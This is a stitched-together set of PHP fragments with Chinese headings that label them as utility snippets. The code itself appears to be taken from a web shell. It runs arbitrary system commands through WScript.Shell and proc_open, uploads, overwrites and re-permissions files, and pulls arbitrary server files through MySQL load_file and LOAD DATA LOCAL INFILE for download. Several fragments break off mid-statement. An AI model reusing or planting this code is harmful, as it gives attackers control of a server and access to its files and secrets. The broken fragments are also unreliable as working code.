/php调用com 组件wscript.shell执行dos命令
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
public function ExtractFile($header,$to,$zip) {
$header = $this->readfileheader($zip);
if (substr($to,-1)!="/") $to.="/";
if ($to=='./') $to = '';
$pth = explode("/",$to.$header['filename']);
$mydir = '';
for($i=0;$i<count($pth)-1;$i++) {
if (!$pth[$i]) continue;
$mydir .= $pth[$i]."/";
if ((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ) {
@chmod($mydir,0777);
$this->total_folders ++;
echo 'Extract : ',$mydir,'<br>';
}
}
if (strrchr($header['filename'],'/')=='/') return;
if (!($header['external']==0x41FF0010)&&!($header['external']==16)) {
if ($header['compression']==0) {
$fp = @fopen($to.$header['filename'], 'wb');
if (!$fp) return(-1);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to.$header['filename'], $header['mtime']);
} else {
$fp = @fopen($to.$header['filename'].'.gz','wb');
if (!$fp) return(-1);
$binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
Chr(0x00), time(), Chr(0x00), Chr(3));
fwrite($fp, $binary_data, 10);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
$binary_data = pack('VV', $header['crc'], $header['size']);
fwrite($fp, $binary_data,8); fclose($fp);
$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress
php编辑,上传,修改文件属性代码
m('文件上传 '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? '成功' : '失败'));
}
// 编辑文件
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('保存文件 '.(@fwrite($fp,$filecontent) ? '成功' : '失败'));
@fclose($fp);
}
// 编辑文件属性
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('原始文件不存在');
} else {
$newperm = base_convert($newperm,8,10);
m('文件编辑 '.(@chmod($pfile,$newperm) ? '成功' : '失败'));
}
}
php 重命名与复制文件
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' 目标文件已经存在或者原始文件不存在');
} else {
m(basename($oldname).' 重命名 '.basename($nname).(@rename($oldname,$nname) ? ' 成功' : '失败'));
}
}
// 复制文件
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('目标文件已经存在或者原始文件不存在');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' 成功' : '失败'));
}
mysql php数据打包备份程序
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = '您想要下载的文件不存在';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}